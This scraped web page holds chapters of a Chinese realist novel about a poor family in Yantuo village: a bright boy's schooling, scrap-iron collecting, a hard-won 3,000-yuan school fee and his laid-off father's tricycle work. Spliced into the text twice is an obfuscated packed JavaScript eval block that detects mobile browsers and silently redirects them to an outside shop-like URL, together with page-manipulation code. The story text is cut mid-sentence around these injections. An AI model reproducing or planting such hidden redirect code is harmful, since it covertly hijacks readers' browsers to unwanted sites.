;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119410|195947||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了墙上那片地图状的水渍。 后晌,邻居们陆续来“认门”,带着好奇与审视。前屋是个鞋匠,姓赵,一口金牙说话时闪啊闪,像某种神秘的摩斯密码。“介屋啊,”他吐着烟圈,烟雾缭绕中眯着眼,“前头住的老吴头,上个月刚没。” “咋没的?”姚建国递过去一支烟。 “脑淤血。”赵鞋匠用夹烟的手随意指了指东墙,“就倒那儿,发现时人都硬了。” 张玉芬正拿着抹布擦东墙的手,瞬间僵住了。那块水渍,突然有了具体的形状和温度。 后屋是对年轻夫妻,女的挺着大肚子,像揣着个巨大的希望(或负担);男的沉默地站在门口阴影里,像根没有表情的木桩。女人送来一碗五香面腌的青萝卜条儿:“自己家做的,咸了淡了的,别介意。”张玉芬接过粗瓷碗,看见女人手指上紫红色的冻疮,裂着口子,像熟透到快要溃烂的桑葚。 天黑下来,新家第一次亮起灯。灯泡是十五瓦的,光线比银行里的二十五瓦还要昏黄黯淡。影子在墙上被拉扯得巨大、扭曲,姚建国倒水时,他的影子像在倾倒一条黑色的、无声的河。 晚饭吃的是早晨剩的凉馒头,就着那碗咸得齁人的腌萝卜条儿。姚华吃得直喝水。水是从几十米外公共水龙头接的,有股浓重的铁锈味,比盐坨桥下的河水味更直接、更粗鲁地钻进喉咙里,带着一股子不容分说的占领意味。 “明儿就去弄煤气罐本儿,”姚建国就着咸味规划新生活,话语有了实在的锚点,“还得换粮本,换副食本……对了,华子转学的事儿,我下礼拜就去村小办。” 姚华没应声。他在桌子底下偷偷翻开《三国演义》,就着那盏吝啬的灯光看。字在跳跃,模糊成一片。翻到被粘反的那一页,他突然想起了白天的盐坨桥——那座长长的、连接着两个截然不同世界的桥。桥这头是银行里褪色的旧日子,桥那头是盐坨村茫然的新日子。桥下流了几百年的河水,见过堆成山的贡盐,也见过无数像他家一样,怀揣着渺茫希望搬迁而来的人家。故事接不上,不是因为书页破了,是因为生活里有些事,本来就接不上茬。就像银行里的日子和盐坨村的日子,中间隔着那座六百多米长的桥,桥面上每一道新鲜或陈旧的车辙,都是一个沉甸甸的、无人回答的“为嘛”。 夜里,姚建国鼾声如雷,新环境似乎让他睡得格外踏实,梦里大概还在量房子、算平米。张玉芬睁着眼看天花板,那里有片巨大的水渍,边缘晕染开,形状竟有几分像中国地图。她在那片模糊的版图上寻找天津,寻找银行里,找到眼睛发酸、发涩。最后,她的目光定在墙角——那里有一层薄薄的、不起眼的白色粉末,不知是墙皮不堪潮气自行剥落,还是从这片古老盐碱地深处泛上来的、遥远的盐的魂灵。 姚华蜷在床尾,薄被子盖不住脚。他听着窗外完全陌生的声音:不是筒子楼里王寡妇婉转的评剧,也不是陈师傅修车时叮叮当当的敲打,而是旷野的风声,无所顾忌地掠过铁道沟和煤渣堆,发出呜呜的鸣叫,像很多人在远处哭,又像很多人在更远处笑。偶尔,风里会艰难地捎来盐坨桥上车流沉闷的滚动声,那是城市尚未完全断绝的、微弱的脉搏。 他悄悄爬起来,从书包里掏出白天没交的作文本。老师布置的题目是《我的家》,他对着空白的格子发了一下午呆,一个字没写。现在,他趴在小方凳上,就着窗外透进来的、清冷的月光写: “我的家在银行里筒子楼三楼左边那间。门口水池子第三个龙头滴水最慢。寡妇王姨天天下午唱‘巧儿我自幼儿许配赵家’。陈师傅的自行车零件堆成了山。李婶家晚上炒韭菜最香。我的家不大,但我知道它确切在哪儿,从学校闭着眼都能走回去。” 写到这里,笔尖停了。他听见母亲在黑暗里翻了个身,传来一声很轻、很轻的叹息,轻得像羽毛,却重重落在他心里。他把这页纸小心撕下来,折成小小的方块,塞进《三国演义》封皮的夹层里,仿佛把旧家藏进一个故事的保险箱。然后,他把作文本上剩下的空白页全部撕掉,撕得很碎,很碎,碎得再也拼凑不出一个完整的句子,一个关于“家”的清晰定义。 碎纸片从指缝间簌簌漏下,落在返潮的水泥地上,白花花一片,像突然降下的雪,像春天无根的柳絮,也像络腮胡司机所说的、那些早已风化消失在历史尘埃里的、雪白的贡盐。 窗外,铁道沟那边不知名的工厂传来夜班汽笛声。呜——呜——,长长的,拖沓的,像在给什么举行漫长的葬礼,又像在疲惫地迎接另一个重复的黎明。这声音努力越过盐坨桥,试图混入更远处城市模糊的喧嚣,最终却徒劳地消散在1991年秋天深沉的夜风里,留不下任何痕迹。 姚华躺回冰冷的被窝,闭上眼睛。他开始数数,数到一百就睡,这是在银行里养成的、对抗嘈杂的老习惯。但今夜,数到一百,脑子里还是清醒得像水洗过。他继续数,二百,三百……数到四百九十七时,听见父亲在梦里含糊而满足地嘟囔:“十二平……嘿……赚了……” 他默默地把被子拉上来,捂住了耳朵。 月光无声地移过窗棂,照在墙上那片地图状的水渍上。那片形似盐坨村的角落,正好落在一片深深的阴影里,黑漆漆的,嘛也看不清,摸不着。只有铁道沟的风还在不知疲倦地呜咽,吹过煤渣砖,吹过枯草,吹过这个十二平米、崭新却又无比陈旧的家。风里也许还夹带着元明时代盐粒的、肉眼看不见的尘埃,轻轻落在窗台那层白霜似的粉末上,无人知晓,也无人在意。 4. 第四章 村小的天才 盐坨村小学的光荣榜统共只有半张挂历纸大,拿图钉按在传达室外墙上。红纸每年一换,旧的也不糟蹋,正好糊窗户缝,挡风。一九九四年冬天,姚华的名字第三回洇在那红纸上。墨吃得深,瞧着就比别的名字黑,跟盖了个戳似的。 校长姓于,退伍炮兵,说话像喊口令,一句话能把人顶一跟头。期末大会,他把姚华拎到旗杆底下,那手指头枯树枝似的,戳着成绩单:“语文九十八,数学一百,自然一百。”声音砸在冻硬的地面上,能砸出坑来。“都瞅瞅!这才叫念书!” 底下的学生仰着脸,哈出的白气连成一片雾。袁浩(外号大耗子)在第三排专心抠鼻子,他爹是村里杀猪的。去年光荣榜上也有他,在姚华下面隔五个人名。今年掉到第十五,回家挨了顿笤帚疙瘩,屁股肿得三天没敢挨凳子。 “介孩子,”于校长转身,冲着缩在人群里的张玉芬,声音低下来,可还是像打雷,“得去市里念。搁这儿,白瞎了。” 张玉芬裹着件灰扑扑的棉猴,袖口磨得发亮,能照见人影。她一个劲儿搓手,手上的冻疮裂了口子,渗血丝,风一吹,又冻住了。她张了张嘴,没出声,只点头。点得狠,嘎嘣脆,像要把脖子撅折了。 散了会,姚华留下扫礼堂。说是礼堂,其实就是间大点的平房,摆三十张瘸腿课桌,一推吱呀乱叫。扫帚划过水泥地,沙沙的,干巴巴的,像挠墙皮。于校长蹲门槛上卷烟,烟丝是自家种的旱烟,劲儿冲,呛得人直流泪。 “你爹呢?”于校长眯着眼问,烟雾把他脸都糊住了。 “知不道。” “又喝去了?” 姚华没应声,把簸箕里的土倒进铁皮桶。土里有粉笔头、纸飞机、半块橡皮,橡皮上刻着“大耗子”,刻得歪歪扭扭,倒挺深。 于校长吐出口浓烟,那烟在冷空气里凝着,半天不散。“你妈不易,”他说,“你得争气。” 姚华点头。他早明白了——在这个家,争气是他一个人的活儿,像背着一座山走路,不能停,停了山就塌,先砸死的指定是自己。 回家的路得穿过整片菜地。冬天菜地秃了,垄沟结着冰凌,跟镶了牙似的。远处友谊罐头厂的烟囱冒着黄烟,那是加工午餐肉的味儿,油腻腻,黏糊糊,飘过来糊嗓子眼。姚华记得夏天这儿种满茄子,紫黑的茄子沉甸甸垂着,一个个跟沉默的拳头似的。 路过盐坨桥,他习惯性站一会儿。桥还是那么长,六百四十三米,一眼望不到头。冬天的风从新开河面上刮过来,像小刀子,专割脸。桥栏杆上的锈更深了,一块块往下掉,露出里头灰白的水泥,跟骨头碴子似的。桥上没几辆车,偶尔有辆拖拉机突突开过,车斗里装着冻白菜,绿叶子在风里硬邦邦地晃,像在打摆子。 姚华想起于校长说过,这桥修好才八年,比他还小两岁。可桥看着比村里五十岁的人还老。桥墩上留着夏天洪水的水痕,离桥面只剩一米多。赵鞋匠总叨叨,往后水更脏,鱼都得绝种。 家里倒是热闹。姚建国不知打哪儿弄来半瓶直沽高粱,正给几个酒友倒酒。桌上就两碟:一碟炒果仁儿,一碟蛰皮拌白菜心。酒友都是附近的闲汉,棉袄油光锃亮,脸被酒精腌成了酱萝卜色。 “我儿子!”姚建国瞅见姚华,嗓门一下子拔到房梁上,“全年级第一!杠杠的!” 酒友们跟着起哄,举起酒盅,咕咚就是一口。姚华低头钻进里屋,把书包挂门后。那书包是张玉芬用旧帆布改的,缝线歪得像喝醉了酒的蜈蚣。 外屋划拳声震天响:“五魁首啊!六六六!” 张玉芬在厨房蒸窝头,玉米面掺了点儿白面,蒸汽把窗户糊得严严实实。她透过水雾看儿子,嘴唇动了动,最后啥也没说,只掀开锅盖,捡出最圆乎的一个,掰开,夹了一筷子咸菜丝。 “趁热吃。” 窝头烫手,姚华左手倒右手。咸菜是入冬腌的芥菜疙瘩,齁咸,可就着窝头,竟能嚼出点甜味儿。 “校长说……”张玉芬开了口,又卡住。她用抹布擦灶台,擦了一遍又一遍,木头灶台快被她擦出火星子了。 “说啥?” “说你能上重点中学。” 屋里静了一瞬。外屋划拳声恰好停了,只剩煤炉子呼呼的喘气声。然后姚建国的声音炸进来:“重点?哪所?” “还没定,”张玉芬声儿小得像蚊子哼,“得考,还得……还得花钱。” “花钱”俩字像两颗生锈的钉子,一下子把空气钉死了。姚建国趿拉着鞋进来,酒气能把人熏个跟头。“多少?” “知不道,得打听。” 姚建国盯着儿子看,眼神浑浊,像在打量一件陌生的物件,掂量着值几个钱。许久,他转身出去,酒友们识趣,呼啦散了。那半瓶酒还剩个底儿,在桌上孤零零站着,怪可怜。 夜里,姚华梦见自己在考试。试卷上的字都在游,像水里黑压压的蝌蚪。他拼命写,笔尖却嘎巴断了,断口涌出黑汁,淹了整张桌子。 醒来天还没亮。他听见父母在说话,声儿压得低,像地底下暗河流淌。 “……把自行车卖了?” “那车还能骑。” “骑啥骑,铃铛都不响了,除了铃不响哪儿都响。” “卖了能凑多少?” “百八十块吧。” 沉默。然后是张玉芬一声长长的叹息,长得像是要把这辈子吸进去的气都叹出来。 姚华闭上眼,开始数数。数到一百时,他决定明天就去铁道沟捡废铁。袁浩说过,废铁站收铁,一斤一毛二。钱是一分一分攒的,路是一步一步挪的。 盐坨村小学的作息,比老座钟还准。早晨七点半打铃,下午三点半放学。铃是截铁轨,挂老槐树上,校长拿锤子敲,咣——咣——,震得树上的麻雀扑棱棱乱飞,跟下饺子似的。 姚华开始用放学后的时间。他背个破麻袋,沿着铁道沟走。沟是早年挖津蓟铁路留下的,废了多年,铁轨早拆了,枕木也被村民扛回家当柴烧。但碎石缝里总有点惊喜:生锈的道钉、断裂的鱼尾板、偶尔还有半截钢轨,埋得深,得用撬棍。 去铁道沟得穿过盐坨桥。桥下的河岸长满枯芦苇,风一吹,哗啦啦响,跟很多人有气无力地鼓掌似的。姚华发现桥墩周围是块宝地——螺丝帽、铁垫片,还有被河水冲上来的废旧零件。他猜是过桥的卡车掉的。那些卡车从市区来,往北边县里去,车上载着姚华叫不出名的机器。有时零件掉下来,摔在桥面上,“咣当”一声,可没人停车捡。它们就躺在那里,被后来的车轧,轧进沥青里,最后让养路工撬出来,一脚踢到桥边,骨碌碌滚下河坡。 撬棍是从温州的赵鞋匠那儿借的。赵鞋匠年轻时在铁路段干过,工具箱里啥稀奇玩意儿都有。他借撬棍给姚华,不收钱,只要求每次来给他讲讲学校的新鲜事。 “于校长还‘开炮’不?”赵鞋匠问。他说的“开炮”是于校长的招牌——批评学生时总爱说“老子当年一炮轰平山头”。 “开,”姚华说,“昨儿刚‘轰’了大耗子(袁浩),说他脑子里装的都是猪油。” 赵鞋匠就嘿嘿乐,露出那颗不锈钢做的假牙,亮闪闪的。他一边补鞋一边听,锥子在鞋底穿进穿出,噗嗤噗嗤,像在给鞋讲故事。 捡废铁是门学问。姚华很快发现,最好的地方不是铁道沟,而是友谊罐头厂后墙的垃圾堆。厂里常扔报废的机器零件,铸铁的,死沉,压秤。但看门老头凶得像门神,得趁他打盹时翻墙。 头一回翻墙是在十一月底。那天刮西北风,垃圾堆的腐臭味被吹散不少。姚华踩着砖缝爬上墙头,墙头插着碎玻璃,他像跨地雷阵似的跨过去。落地时一脚踩进油污里,摔了个结结实实,手掌擦掉块皮。 可他找到了宝贝——半个齿轮,有脸盆大,锈成了土褐色。他吭哧吭哧拖到废铁站,过秤,七斤八两。收铁的老头叼着烟袋,眯眼瞅他:“小孩儿,哪捡的?” “铁道沟。” 老头笑了,露出一口被烟熏得焦黑的牙。“铁道沟可长不出这玩意儿。”但他没再多问,数出九毛三分钱,硬币,叮叮当当塞进姚华手里。 九毛三。姚华攥着钱往家走,硬币硌得手心发红。路过村口小卖部,他停下。橱窗里摆着带橡皮头的铅笔,一毛二一支;还有巧克力威化,两毛一块。他看了很久,最后啥也没买。钱得用在刀刃上,虽然他现在还不知道刀刃在哪儿。 钱藏在床垫下面,用作业纸包着。张玉芬发现了,没说话,只是每天早晨在他书包里多塞一个煮鸡蛋。鸡蛋是自家鸡下的,个小,壳薄,一磕就破,像这个家,小心翼翼。 姚建国也发现了。有天夜里,他醉醺醺掀开床垫,抓起那个纸包。姚华装睡,听见硬币哗啦啦响,然后是一声含糊的嘟囔:“顶个屁用。” 但钱没少。第二天早上,纸包还在老地方,只是多了张五元的票子,皱巴巴,像被揉搓过无数次的心事。 冬天往骨头里钻。菜地冻得像铁板,踩上去咔咔响。友谊罐头厂的烟囱天天冒黄烟,空气里午餐肉的味儿浓得化不开,吸一口能顶半天饿。村里咳嗽的人多了,干咳,夜里一声接一声,跟比赛似的。 于校长又找了一次张玉芬。这次在学校办公室,炉子烧得通红,铁皮烟筒拐着弯伸向窗外,像个问号。 “铁一中,”于校长说,手指在桌面上敲,像在发电报,“市里拔尖的初中。但得考,还得面试。” “啥时候?” “开春。” 张玉芬心里掐算。开春是三月,还有四个月。她问要准备啥,于校长拿出一摞卷子,油印的,字迹模糊,跟长了毛似的。“这些题,让孩子做做。市里的孩子,早做过了。” 卷子带回家,姚华在煤油灯下做。题真难,很多他见都没见过。代数、几何、还有英语——盐坨村小学不开英语课,二十六个字母他认不全,它们认识他,他不认识它们。他咬铅笔头,咬出深深的牙印,像要把知识啃下来。 姚建国凑过来看,抻着脖子瞅了半天,说:“这画的都是啥?曲里拐弯的。” “题。” “题长这样?”他摇摇头,晃悠着出去,门摔得山响,震落墙上一缕灰。 张玉芬坐在炕沿上纳鞋底。锥子扎过千层底,发出沉闷的噗噗声。她不时抬头看儿子,眼神复杂,像骄傲,又像害怕,怕这骄傲太沉,把孩子压垮。 夜里,姚华梦见自己站在实验中学门口。学校大门是铁艺的,缠着枯藤。他想进去,门却关了,枯藤突然疯长,缠住他手脚。他挣扎,藤蔓越缠越紧,勒进肉里,疼醒了。 一身冷汗。窗外,月亮正悬在铁道沟上空,苍白,冰凉,像块过期的干粮。 腊月二十三,小年。村里响起零星的鞭炮声,有气无力。姚建国破天荒没出去喝,早早回家,手里拎着一条冻带鱼。带鱼硬邦邦的,眼睛蒙着白翳,弯成个问号。 张玉芬把带鱼炖了,放好多醋,去腥。吃饭时,姚建国突然开口:“我打听了,铁一中的赞助费,这个数。”他伸出三根手指,粗壮,关节突出。 “三百?”张玉芬问,声音有点飘。 “三千。” 筷子掉桌上。张玉芬捡起来,在衣襟上擦了擦,手一抖,又掉了。她终于没再捡,手垂在腿侧,微微发抖,像风里的枯叶。 姚华低头扒饭。带鱼刺多,他小心剔着,把鱼肉剔得干干净净,只剩一副完整骨架。骨架在盘子里泛着冷光,像件微型艺术品,精致,但没肉。 饭后,姚建国出门了。张玉芬收拾碗筷,动作慢得像电影里的慢镜头,一帧一帧。姚华拿出卷子继续做,煤油灯的灯芯结了朵灯花,他用针挑掉,火光猛地一跳,影子在墙上乱晃。 深夜,姚建国回来了,带着更浓的酒气。他径直走到姚华面前,盯着他看。看了很久,久到姚华以为他又要发火,他却突然抬手,摸了摸儿子的头。手掌粗糙,像砂纸刮过。 “三千,”他重复,舌头有点大,“老子挣。” 三月到了。菜地开始化冻,垄沟里渗出水,浑浊,漂着烂草屑。友谊罐头厂的烟囱依旧冒烟,但味儿变了,不再是午餐肉,换成了糖水桃子的甜腻,闻久了头晕,像醉了。 铁一中的考试定在三月十五。那天姚华穿着张玉芬熬夜赶制的新衣服——蓝布褂子,领子浆得硬邦邦,磨得脖子生疼。于校长特意借了辆二八加重自行车,驮他去考点。后座硌得屁股疼,但姚华没吭声。 过盐坨桥时,于校长蹬得吃力。上桥是个长坡,他站起来蹬,身子左摇右摆,自行车发出痛苦的吱呀声。姚华坐在后座,看见桥下的新开河开始解冻,冰面裂开一道道黑缝,像大地疼出的口子。桥中央,一个养路工正用铁锹铲除积雪,雪混着煤渣,堆在路边。工人穿着橙黄色的反光背心,在灰蒙蒙的天色里,扎眼得像个误入的惊叹号。 “这桥啊,”于校长喘着粗气说,“年年修,月月补。夏天暴雨冲,冬天冻裂口。修来修去,还是个破桥。” 姚华没接话。他数着桥上的灯,数到第四十七盏时,车终于下了坡。桥南头就是市区了,马路突然变宽,楼房突然变高,连空气里的味儿都不一样——不是煤烟和咸菜,是汽油和烤面包混在一块,陌生,但诱人。 考点在一栋旧红砖楼里。楼道很暗,墙上贴着“好好学习天天向上”的标语,红纸褪成了惨淡的粉色。考场里坐满了孩子,穿得五颜六色,有的还戴着鲜红的红领巾,晃眼。 卷子发下来,密密麻麻的字,像蚂蚁搬家。姚华深吸一口气,开始写。笔是赵鞋匠送的,英雄牌,铱金笔尖,出水很顺,是他用过最好的笔。 考完出来,于校长蹲在门口抽烟,烟头一明一灭。“咋样?” “还行。” “啥叫还行?” 姚华想了想,实话实说:“都写上了,对不对就不知道了。” 于校长就笑了,拍拍他肩膀,力道大得能拍碎豆腐。“写上就行!就怕你空着!” 等成绩的日子,像熬一锅糖稀,慢,而且黏稠,扯不断。姚华继续捡废铁,继续做那些让他头大的卷子。姚建国继续天不亮出门,深夜归来,身上那股包子铺的油腻气味似乎浸到了皮肤里。肉馅还是偶尔出现在饭盒里,只是姚华发现,父亲塞饭盒的动作似乎更加警惕,有时会在铺子后门愣愣地站一会儿,四下张望,才把那个小小的铝盒藏进怀里。 四月初,成绩单寄到了盐坨村小学。于校长是跑着送来的,气喘吁吁,脸涨得通红。“过了!”他吼了一嗓子,差点把传达室的窗户纸震破,“笔试过了!” 张玉芬正在腌咸菜,手一抖,半碗盐全撒地上了。姚建国不在家,她慌慌张张跑出去找,在赵鞋匠的摊子前找到他。他正蹲着看人下棋,听说消息,愣了很久,像没听懂。然后他猛地站起来,转身就走,走得飞快,消失在胡同拐角,留下张玉芬和赵鞋匠面相觑。 晚上他回来,破天荒拎着一瓶瓶装酒,不是散装的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119411|195947||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 标签上画着金黄的麦穗。他倒了两杯,一杯给自己,一杯推到姚华面前。 “喝。” 姚华看母亲。张玉芬嘴唇动了动,最终没说话。他端起杯子,抿了一小口,辣,辣得眼泪一下子涌上来,在眼眶里打转。 姚建国哈哈大笑,笑声在低矮的屋里撞来撞去,震落墙角的灰。笑完,他一仰脖子干了杯中酒,抹抹嘴:“面试啥时候?” “下礼拜。” “我陪你去。” 面试那天,姚建国罕见地穿了件干净衣服,是张玉芬压在箱底多年的灰色中山装,肩膀处有深深的折痕,像岁月的刀疤。父子俩坐长途车去市区,车很旧,座椅的海绵都露出来了,一路上吱呀作响,像个哮喘的老人。 铁一中比想象的还大。操场是煤渣跑道,中间立着足球门,门网破了好几个大洞,风一吹,晃晃悠悠。教学楼是四层红砖楼,每扇窗户都擦得锃亮,能照见人影。 面试在一个小教室里。考官是个戴眼镜的女老师,说话声音很轻,很柔,像怕吓着眼前的农村孩子。她问姚华为什么想考铁一中,姚华老老实实说:“想学英语。” “为什么想学英语呢?” 姚华想了想,说:“学会了,就能看懂罐头上的字。” 友谊罐头厂有些出口的罐头,标签上全是弯弯曲曲的洋文。村里没人认得,但都说那是好东西,能卖到外国,换外汇。姚华觉得,能看懂那些字,大概就离那个“好”近了一点。 女老师笑了,推推眼镜,在本子上记了点什么。 出来时,姚建国在走廊等着。他背靠着墙,眼睛盯着天花板上一块水渍,那水渍形状挺怪,像只展翅的鸟,又像歪扭的地图。见儿子出来,他直起身:“咋样?” “不知道。” “老师问啥了?” 姚华重复了一遍对话。姚建国听完,沉默了一会儿,然后咂咂嘴:“罐头……挺好。能出口,不赖。” 回去的车更挤了。有个妇女抱着个不停哭闹的孩子。姚建国站起来让了座,自己挤在过道里,随着车厢摇晃。午后阳光透过脏污的车窗照进来,在他脸上切出明暗交错的光影。姚华突然发现,父亲的黑发里,藏着好些白头发,像没扫干净的雪,落在煤堆上,格外刺眼。他棉袄肩膀处,有一小片洗不掉的油渍,深褐色,是长年累月浸润的结果。 录取通知书是四月底到的。牛皮纸信封,盖着鲜红的公章,沉甸甸的。张玉芬拆信封时手抖得厉害,撕了好几次才撕开。通知书上,“姚华”两个字印得端端正正,下面还有一行小字,像附注,也像判决:赞助费三千元,请于五月十日前缴纳。 晚上,全家围坐在那张油渍麻花的饭桌前。那个塑料布包被请出来,一层层揭开。钱摊在桌上,纸币,硬币,铺了半张桌子,花花绿绿,却让人心头沉甸甸的。张玉芬数,姚华拿笔在旧本子上记,姚建国在边上盯着,一言不发。 数完,两千七百四十三元六角。 还差二百五十六块四。 屋里静极了,只有煤炉子轻微的呼呼声,像在叹气。许久,姚建国站起来,走到屋里那个掉漆的立柜前,打开最下面那个抽屉。他在里面摸索了一阵,拿出一个小布包,走回来,放在那堆钱旁边。 布包解开,是一块旧手表,海鸥牌。表盘玻璃裂了道纹,但指针还在走,发出细微的嘀嗒声,在这寂静里格外清晰。 “这个,”他说,声音有点干涩,“能当点钱。” 这表是他当年在工厂当先进工作者得的奖励,戴了十几年,表带都换过三根。张玉芬看着那块表,又看看丈夫,眼泪毫无预兆地滚下来,一滴,正好砸在裂了的表蒙上。 第二天,张玉芬带着姚华去了市里的信托商店。商店在劝业场附近,橱窗里摆着各式旧物:旧相机、旧收音机、旧皮箱,都静默着,像在展览过往的时光。收表的老师傅戴着寸镜,接过手表,仔细端详,看了很久。 “表蒙裂了,机芯还行,走时还算准,”他慢悠悠地说,“八十。” 张玉芬张了张嘴,想说什么,比如这表当年多贵,多有意义,可最后她只是点了点头,声音轻得几乎听不见:“八十……就八十。” 接过那八张崭新的十元票子时,她的手抖得厉害。她把钱仔细叠好,塞进姚华手里:“拿好了,别丢。” 剩下的窟窿,张玉芬借遍了能开口的亲戚。她一家家上门,话不多,翻来覆去就那句:“孩子考上市里中学了,还差点钱。”有人爽快借了,有人面露难色推脱了。借得最多的是他二舅,五十块;最少的是个远房表姑,掏出手绢包了又包,拿出五块钱,手绢上绣的鸳鸯都褪色了。 五月九号,钱终于凑齐了。整整三千元,用牛皮纸信封装着,鼓鼓囊囊,沉得坠手。姚华捏着那个信封,捏了很久,指关节都泛白了,像是要捏出里面的每一分重量——那里有废铁换的毛票,有包子铺里偷藏出来的油腥,有母亲借来的带着体温的零钱,有父亲那块停了又走的手表。 第二天,张玉芬陪儿子去学校缴费。财务室在办公楼一层,缴费的窗口开得很高,姚华得踮起脚才能看见里面。会计是个面无表情的中年女人,把钱放进点钞机,哗啦啦,哗啦啦,响了很久。那声音,像是数着一家人的筋骨。 缴完费出来,阳光亮得刺眼。张玉芬在台阶上站了一会儿,突然蹲下身,抱住自己的头。肩膀一耸一耸的,但没有哭声。姚华站在旁边,犹豫了一下,把手轻轻搭在她微微佝偻的背上,一下,一下,生涩地拍着。 他想起铁道沟冰凉的废铁,想起友谊罐头厂永不消散的烟,想起煤油灯下那些做不完的卷子。这一切,现在都有了具体的价格,三千块。这价格压弯了母亲的脊梁。 但他知道,这重量不会消失,它只是转移了,最终会稳稳地、沉沉地,落到自己肩上。就像父亲那块停了又走、走了又停的旧表,时间或许凝固在某个艰难而油腻的瞬间,但那嘀嗒声,却顽强地钻进了他的血液里,骨头里,一声,一声,催促着,再也停不下来。 回村的车上,姚华靠着车窗睡着了。他梦见自己变成了那个捡来的齿轮,被扔进通红的熔炉。又梦见自己变成了一团肉馅,在巨大的盆里被反复搅打,顺着一个方向,搅上劲,只为变得“压秤”。火舌舔舐,铁水沸腾;铲起铲落,油脂交融。最后他冷却定型,坚硬而沉重,值九毛三分钱,也值更多。 车到盐坨桥时,一阵剧烈的颠簸把他晃醒了。桥面正在施工,半边封闭,工人们蹲着修补裂缝。电钻的声音尖利刺耳,混合着河风的呜咽。一段桥栏杆被拆掉,露出里面锈蚀的钢筋,红褐色的,像老人松动的、溃烂的牙根。姚华突然想,这座桥,还能撑多久呢?十年?二十年?还是……等到他真正长大,能够离开这里的那一天? 车到站,他彻底醒了。张玉芬已经下车,正伸手扶他。夕阳把两个人的影子拉得老长,斜斜地跨过土路,一直伸向那片刚刚开始返青的菜地,伸向更远处沉默的铁道沟。 远处,友谊罐头厂的烟囱依旧吐着烟。烟是灰白色的,在渐浓的暮色里,像一道缓慢的、无声的叹息,升起,然后散开。盐坨桥上的路灯陆续亮了,一串昏黄的光点,绵延六百四十三米,固执地连接着黯淡的村庄与霓虹初上的城市,连接着沉重的今夜与未知的明天。桥下的新开河水,裹挟着最后一点浮冰,无声南流,带走了冬天的尾巴,也仿佛,带走了一个孩子关于贫穷、挣扎和那一点点偷来的荤腥的、最后的童年。 5. 第五章 消失的三轮车 北站货场的黎明是从火车叫唤开始的。那声儿“呜——”,拖得老长老长,像隔壁二大爷清早咳痰,非得把五脏六腑都抖搂干净才算完。接着就是哐当哐当,轮子砸在铁轨上,跟老天爷算账似的,一笔一笔,锱铢必较。这时候,煤灰就下来了,没完没了,跟撒孜然似的,专往人脖领子里钻。 姚建国把三轮车杵在“严禁停留”的铁牌子底下。牌子上的红漆掉得差不多了,“严禁”只剩个“严”字摆着官威,“禁”字光秃秃剩个“示”字旁,孤零零的,像在示众,又像在求饶——求谁呢?求老天爷?老天爷忙着撒煤灰呢,没空。 这是姚建国下岗之后第一份可以赚钱的差事,他蹲在车把中间,从车筐里掏出个毛巾裹着的铝饭盒。里头是昨晚的剩粥,稠得像果冻,那层厚厚的米油能照见自己那张脸。他对着粥里的影子撇撇嘴:姚建国啊姚建国,你这张脸,怎么就越长越像这饭盒呢?坑坑洼洼,还总盛不满。 用手指头抠着吃,抠一手指,舔一手指。这动作他熟,熟得闭着眼都能完成。饭盒很快就见了底,凉意顺着食管往下坠,坠到胃里,胃哆嗦一下,像打了个寒噤,又像在叹气:就这么点儿? 货场活过来了。装卸工扛着大包小包,在车厢和库房之间撞来撞去。他们的号子短得噎人:“嘿——哟!”“走——嘞!”姚建国听着,把饭盒扣上,塞回怀里。内兜缝了块补丁,补丁下面是昨晚挣的十七块钱,他隔着衣服按了按,薄薄的一沓,没什么厚度——就像他这辈子,没什么厚度。 “老姚!”有人喊他。 是货场调度朱格,一个小年轻,姓朱名格,但货场上都管他叫“诸葛”,蓝布工作服油亮油亮的,胳膊上套着红袖标,“执勤”两个字脏得看不清,像他这人,干什么都模模糊糊。朱格走过来,用脚尖踢了踢三轮车的轱辘:“你这车该上油了,吱吱呀呀,半夜听着跟闹鬼赛的。” 姚建国咧咧嘴,算是笑过了。他从车座底下摸出包“红恒大”,抽出一根递过去。烟是昨天一个雇主赏的,整包,他舍不得抽,专留着打点——打点什么呢?打点这些爷,这些能赏他活路的爷。 朱格接了,别在耳朵上,没点。“今儿个有批天津站的货倒腾过来,二十车皮,棉纱。你去不去?” “去。”姚建国从喉咙里挤出个字,像挤牙膏,挤一点,少一点。 “规矩明白?一车皮五块,现结。” “明白。” 朱格瞅瞅他,又瞅瞅那三轮车。车是花四百八买的二手货,绿漆掉光了,铁锈一片连一片,像长了癞。刹车线断了,用麻绳凑合绑着,绳子头都磨散了,跟他的人生似的,到处是线头,捋不顺。 “不是我说你,”朱格压低声,“你这人忒闷,不会来事儿。昨儿个老李他们也拉棉纱,人家给调度递的是‘小江山’,你一包‘红恒大’就打发了?” 姚建国不吭声,眼睛盯着地上一滩机油。油黑乎乎的,映出一小块变形的天,脏兮兮的——天的脸也脏,谁的脸不脏呢? “算了,”朱格摆摆手,“八点,三号站台。” 姚建国点点头。等朱格走远了,他才站起来,活动活动腿脚。左腿有关节炎,年轻时在爱走路,一走就是几公里,疲劳性磨损。盐坨村小医院的医生说的词儿文绉绉的,其实就是累坏了。天儿一冷就疼,像有针在骨头缝里搅和。他捶了两下,屁用没有——这世上,屁用没有的事儿多了去了。 